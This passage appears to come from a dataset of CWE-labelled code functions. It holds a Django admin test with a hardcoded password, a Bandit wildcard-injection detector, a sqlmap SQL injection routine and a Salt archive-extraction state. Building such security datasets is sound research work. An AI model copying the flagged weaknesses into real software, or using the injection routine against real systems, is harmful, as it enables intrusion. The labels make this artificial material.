                _logger.debug(""Failed to log result table."", exc_info=True)
        mlflow.log_metric(""eval"", score)

        if self._call_id_to_run_id.pop(call_id, None):
            mlflow.end_run()
        if self.optimizer_stack_level > 0 and mlflow.active_run() is not None:
            if call_id not in self._call_id_to_metric_key:
                return
            key, step = self._call_id_to_metric_key.pop(call_id)
            mlflow.log_metric(
                key,
                score,
                step=step,
            )"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_list_editable_raw_id_fields(self):
        parent = ParentWithUUIDPK.objects.create(title='test')
        parent2 = ParentWithUUIDPK.objects.create(title='test2')
        RelatedWithUUIDPKModel.objects.create(parent=parent)
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        change_url = reverse('admin:admin_views_relatedwithuuidpkmodel_changelist', current_app=site2.name)
        self.selenium.get(self.live_server_url + change_url)
        self.selenium.find_element_by_id('lookup_id_form-0-parent').click()
        self.wait_for_and_switch_to_popup()
        # Select ""parent2"" in the popup.
        self.selenium.find_element_by_link_text(str(parent2.pk)).click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        # The newly selected pk should appear in the raw id input.
        value = self.selenium.find_element_by_id('id_form-0-parent').get_attribute('value')
        self.assertEqual(value, str(parent2.pk))",CWE-259,django/django,4047c1602ce5f0b569ae763aa533c5de78cfc0a9,"def test_list_editable_raw_id_fields(self):
        parent = ParentWithUUIDPK.objects.create(title='test')
        parent2 = ParentWithUUIDPK.objects.create(title='test2')
        RelatedWithUUIDPKModel.objects.create(parent=parent)
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        change_url = reverse('admin:admin_views_relatedwithuuidpkmodel_changelist', current_app=site2.name)
        self.selenium.get(self.live_server_url + change_url)
        self.selenium.find_element_by_id('lookup_id_form-0-parent').click()
        self.wait_for_and_switch_to_popup()
        # Select ""parent2"" in the popup.
        self.selenium.find_element_by_link_text(str(parent2.pk)).click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        # The newly selected pk should appear in the raw id input.
        value = self.selenium.find_element_by_id('id_form-0-parent').get_attribute('value')
        self.assertEqual(value, str(parent2.pk))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/injection_wildcard.py,0,"def linux_commands_wildcard_injection(context, config):
    if not (""shell"" in config and ""subprocess"" in config):
        return

    vulnerable_funcs = [""chown"", ""chmod"", ""tar"", ""rsync""]
    if context.call_function_name_qual in config[""shell""] or (
        context.call_function_name_qual in config[""subprocess""]
        and context.check_call_arg_value(""shell"", ""True"")
    ):
        if context.call_args_count >= 1:
            call_argument = context.get_call_arg_at_position(0)
            argument_string = """"
            if isinstance(call_argument, list):
                for li in call_argument:
                    argument_string += f"" {li}""
            elif isinstance(call_argument, str):
                argument_string = call_argument

            if argument_string != """":
                for vulnerable_func in vulnerable_funcs:
                    if (
                        vulnerable_func in argument_string
                        and ""*"" in argument_string
                    ):
                        return bandit.Issue(
                            severity=bandit.HIGH,
                            confidence=bandit.MEDIUM,
                            cwe=issue.Cwe.IMPROPER_WILDCARD_NEUTRALIZATION,
                            text=""Possible wildcard injection in call: %s""
                            % context.call_function_name_qual,
                            lineno=context.get_lineno_for_call_arg(""shell""),
                        )",UNKNOWN,PyCQA/bandit,2b4195580353e75837c692c8df57e699bc06d455,"def linux_commands_wildcard_injection(context, config):
    if not (""shell"" in config and ""subprocess"" in config):
        return

    vulnerable_funcs = [""chown"", ""chmod"", ""tar"", ""rsync""]
    if context.call_function_name_qual in config[""shell""] or (
        context.call_function_name_qual in config[""subprocess""]
        and context.check_call_arg_value(""shell"", ""True"")
    ):
        if context.call_args_count >= 1:
            call_argument = context.get_call_arg_at_position(0)
            argument_string = """"
            if isinstance(call_argument, list):
                for li in call_argument:
                    argument_string = argument_string + f"" {li}""
            elif isinstance(call_argument, str):
                argument_string = call_argument

            if argument_string != """":
                for vulnerable_func in vulnerable_funcs:
                    if (
                        vulnerable_func in argument_string
                        and ""*"" in argument_string
                    ):
                        return bandit.Issue(
                            severity=bandit.HIGH,
                            confidence=bandit.MEDIUM,
                            cwe=issue.Cwe.IMPROPER_WILDCARD_NEUTRALIZATION,
                            text=""Possible wildcard injection in call: %s""
                            % context.call_function_name_qual,
                            lineno=context.get_lineno_for_call_arg(""shell""),
                        )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """"""

    expression = cleanQuery(expression)
    expression = expandAsteriskForColumns(expression)
    value      = None

    if inband and conf.unionUse and kb.dbms:
        value = __goInband(expression, expected)

    if blind and not value:
        value = __goInferenceProxy(expression, fromUser, expected)

    return value",,sqlmapproject/sqlmap,9329f8c9c44ba7d1baa086ebce2abb0a74c004ee,"def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """"""

    expression = cleanQuery(expression)
    expression = expandAsteriskForColumns(expression)
    value = None

    if inband and conf.unionUse and kb.dbms:
        value = __goInband(expression, expected)

    if blind and not value:
        value = __goInferenceProxy(expression, fromUser, expected)

    return value"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update : False
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument. If the minion is running a release
            older than 2016.11.0, this option is required.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    source_is_local = urlparsed_source.scheme in ('', 'file')
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = urlparsed_source.path
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(source_match)
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    if options is not None and not isinstance(options, six.string_types):
        options = str(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output:
        if trim_output is True:
            trim_output = 100
        elif not isinstance(trim_output, (bool, six.integer_types)):
            try:
                # Try to handle cases where trim_output was passed as a
                # string-ified integer.
                trim_output = int(trim_output)
            except TypeError:
                ret['comment'] = (
                    'Invalid value for trim_output, must be True/False or an '
                    'integer'
                )
                return ret

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum'](
                source=source_match,
                source_hash=source_hash,
                source_hash_name=source_hash_name,
                saltenv=__env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret
    else:
        source_sum = {}

    if source_is_local:
        cached_source = source_match
    else:
        cached_source = os.path.join(
            __opts__['cachedir'],
            'files',
            __env__,
            re.sub(r'[:/\\]', '_', source_hash_basename),
        )

        if os.path.isdir(cached_source):
            # Prevent a traceback from attempting to read from a directory path
            salt.utils.files.rm_rf(cached_source)

    existing_cached_source_sum = _read_cached_checksum(cached_source)

    if source_is_local:
        # No need to download archive, it's local to the minion
        update_source = False
    else:
        if not os.path.isfile(cached_source):
            # Archive not cached, we need to download it
            update_source = True
        else:
            # Archive is cached, keep=True likely used in prior run. If we need
            # to verify the hash, then we *have* to update the source archive
            # to know whether or not the hash changed. Hence the below
            # statement. bool(source_hash) will be True if source_hash was
            # passed, and otherwise False.
            update_source = bool(source_hash)

    if update_source:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = (
                'Archive {0} would be downloaded to cache and checked to '
                'discover if extraction is necessary'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        # NOTE: This will result in more than one copy of the source archive on
        # the minion. The reason this is necessary is because if we are
        # tracking the checksum using source_hash_update, we need a location
        # where we can place the checksum file alongside the cached source
        # file, where it won't be overwritten by caching a file with the same
        # name in the same parent dir as the source file. Long term, we should
        # come up with a better solution for this.
        file_result = __states__['file.managed'](cached_source,
                                                 source=source_match,
                                                 source_hash=source_hash,
                                                 source_hash_name=source_hash_name,
                                                 makedirs=True,
                                                 skip_verify=skip_verify)
        log.debug('file.managed: {0}'.format(file_result))

        # Prevent a traceback if errors prevented the above state from getting
        # off the ground.
        if isinstance(file_result, list):
            try:
                ret['comment'] = '\n'.join(file_result)
            except TypeError:
                ret['comment'] = '\n'.join([str(x) for x in file_result])
            return ret

        try:
            if not file_result['result']:
                log.debug(
                    'failed to download %s',
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
                return file_result
        except TypeError:
            if not file_result:
                log.debug(
                    'failed to download %s',
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
                return file_result

    else:
        log.debug(
            'Archive %s is already in cache',
            salt.utils.url.redact_http_basic_auth(source_match)
        )

    if source_hash and source_hash_update and not skip_verify:
        # Create local hash sum file if we're going to track sum update
        _update_checksum(cached_source)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        salt.utils.url.redact_http_basic_auth(source_match)
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    extraction_needed = overwrite
    contents_missing = False

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
